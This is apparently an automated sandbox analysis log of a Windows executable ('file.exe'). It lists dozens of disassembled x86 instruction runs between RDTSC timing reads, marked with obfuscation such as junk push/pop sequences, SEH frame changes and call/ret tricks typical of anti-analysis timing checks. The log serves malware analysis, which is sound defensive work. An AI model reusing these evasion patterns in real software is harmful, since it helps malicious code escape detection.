Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BCB3 second address: 75BD2B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D196Ah], eax 0x00000015 push esi 0x00000016 mov ebx, dword ptr [ebp+122D1AD0h] 0x0000001c pop edi 0x0000001d push 00000000h 0x0000001f mov di, 14E3h 0x00000023 mov edi, dword ptr [ebp+122D1BD2h] 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F2BE511FAE8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 movzx edi, cx 0x00000048 mov ebx, dword ptr [ebp+122D3487h] 0x0000004e xchg eax, esi 0x0000004f jmp 00007F2BE511FAF5h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jnl 00007F2BE511FAE8h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BD2B second address: 75BD30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE4A second address: 75DE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BEBB second address: 75BF4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007F2BE511B133h 0x0000000b pop edi 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov edi, dword ptr [ebp+12450F7Bh] 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 add ebx, dword ptr [ebp+122D374Ah] 0x0000002a mov eax, dword ptr [ebp+122D0A39h] 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007F2BE511B128h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a mov di, 8E6Dh 0x0000004e push FFFFFFFFh 0x00000050 mov dword ptr [ebp+122D3336h], ecx 0x00000056 nop 0x00000057 jmp 00007F2BE511B138h 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jc 00007F2BE511B12Ch 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DE4E second address: 75DED7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F2BE511FAE8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 call 00007F2BE511FAEFh 0x0000002c xor dword ptr [ebp+122D1C64h], ebx 0x00000032 pop ebx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebp 0x00000038 call 00007F2BE511FAE8h 0x0000003d pop ebp 0x0000003e mov dword ptr [esp+04h], ebp 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc ebp 0x0000004b push ebp 0x0000004c ret 0x0000004d pop ebp 0x0000004e ret 0x0000004f mov dword ptr [ebp+122D24F9h], ecx 0x00000055 push 00000000h 0x00000057 mov ebx, dword ptr [ebp+1245DC1Ah] 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 jng 00007F2BE511FAECh 0x00000066 jp 00007F2BE511FAE6h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BF4A second address: 75BF4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75CFCF second address: 75D075 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push ecx 0x0000000d jg 00007F2BE511FAE8h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop ecx 0x00000016 nop 0x00000017 or di, CA5Bh 0x0000001c push dword ptr fs:[00000000h] 0x00000023 jmp 00007F2BE511FAF8h 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f movzx edi, cx 0x00000032 mov eax, dword ptr [ebp+122D0479h] 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F2BE511FAE8h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 pushad 0x00000053 call 00007F2BE511FAF2h 0x00000058 jnc 00007F2BE511FAE6h 0x0000005e pop edx 0x0000005f or cx, CD71h 0x00000064 popad 0x00000065 sub dword ptr [ebp+12464CFFh], ebx 0x0000006b push FFFFFFFFh 0x0000006d sub dword ptr [ebp+122D3487h], ebx 0x00000073 mov dword ptr [ebp+122D1BA7h], ebx 0x00000079 nop 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75D075 second address: 75D07F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2BE511B126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75FF8A second address: 75FFD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2BE511FAEBh 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F2BE511FAE8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D1A95h], eax 0x0000002e movsx ebx, ax 0x00000031 push 00000000h 0x00000033 movzx ebx, dx 0x00000036 push 00000000h 0x00000038 xchg eax, esi 0x00000039 jbe 00007F2BE511FAF4h 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E029 second address: 75E03C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511B12Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75E106 second address: 75E10A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F1C6 second address: 75F1CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762001 second address: 76201D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F2BE511FAE6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F1CB second address: 75F1D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F2BE511B126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7601A2 second address: 7601B8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BE511FAECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7601B8 second address: 7601BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764007 second address: 76400B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7602D6 second address: 7602DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762269 second address: 76226D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76226D second address: 762273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762273 second address: 76227E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F2BE511FAE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7612C1 second address: 7612DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511B135h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7612DA second address: 7612E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76515C second address: 765162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 765253 second address: 765268 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2BE511FAEBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DF5F second address: 76DF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76831F second address: 768323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 768323 second address: 768329 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7692BD second address: 7692C7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77141D second address: 771421 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771421 second address: 771427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771427 second address: 771433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771433 second address: 771437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7762D0 second address: 7762DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2BE511B126h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7762DB second address: 7762E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7762E1 second address: 7762E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7762E5 second address: 776311 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2BE511FAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F2BE511FAF2h 0x00000018 jno 00007F2BE511FAE6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776311 second address: 776317 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776317 second address: 77631B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77631B second address: 776351 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b pushad 0x0000000c jng 00007F2BE511B126h 0x00000012 jnc 00007F2BE511B126h 0x00000018 popad 0x00000019 pushad 0x0000001a jp 00007F2BE511B126h 0x00000020 jnp 00007F2BE511B126h 0x00000026 popad 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jnp 00007F2BE511B128h 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776403 second address: 776455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F2BE511FAF3h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007F2BE511FAEEh 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F2BE511FAF0h 0x00000020 popad 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jc 00007F2BE511FAE6h 0x0000002d pushad 0x0000002e popad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776455 second address: 77645F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F2BE511B126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77651B second address: 776521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776521 second address: 776548 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B136h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jng 00007F2BE511B134h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776548 second address: 77654C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77654C second address: 77655C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77655C second address: 776592 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007F2BE511FAEFh 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push esi 0x0000001b pushad 0x0000001c js 00007F2BE511FAE6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B853 second address: 77B857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B857 second address: 77B863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B863 second address: 77B869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B869 second address: 77B86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B9FB second address: 77B9FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B9FF second address: 77BA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F2BE511FAECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BB87 second address: 77BB94 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BD03 second address: 77BD09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BFEA second address: 77BFF6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2BE511B126h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BFF6 second address: 77C00D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511FAF1h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780529 second address: 78052E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7848B9 second address: 7848BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7848BF second address: 7848C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7848C4 second address: 78490E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F2BE511FAE6h 0x0000000a jmp 00007F2BE511FAF9h 0x0000000f popad 0x00000010 jmp 00007F2BE511FAF8h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 ja 00007F2BE511FAEAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719706 second address: 71970B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71970B second address: 71975B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2BE511FAE8h 0x00000008 jmp 00007F2BE511FAF1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F2BE511FAECh 0x00000017 jp 00007F2BE511FAE6h 0x0000001d jc 00007F2BE511FB05h 0x00000023 jmp 00007F2BE511FAF9h 0x00000028 jg 00007F2BE511FAE6h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71975B second address: 719761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719761 second address: 719765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719765 second address: 719791 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B133h 0x00000007 jmp 00007F2BE511B132h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7838BB second address: 7838E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511FAECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2BE511FAF4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7838E2 second address: 783902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BE511B133h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756193 second address: 7561B0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2BE511FAF4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756AD2 second address: 756AE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F2BE511B128h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756AE5 second address: 756AF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F2BE511FAE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756AF0 second address: 756B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F2BE511B133h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 ja 00007F2BE511B126h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757195 second address: 7571B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2BE511FAF8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757381 second address: 757388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757388 second address: 75738E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757572 second address: 757591 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F2BE511B12Bh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F2BE511B126h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757591 second address: 757595 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757595 second address: 75759B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75759B second address: 7575A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7575A1 second address: 7575C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2BE511B139h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7575C7 second address: 7575CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7575CB second address: 7575F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2BE511B137h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 js 00007F2BE511B146h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
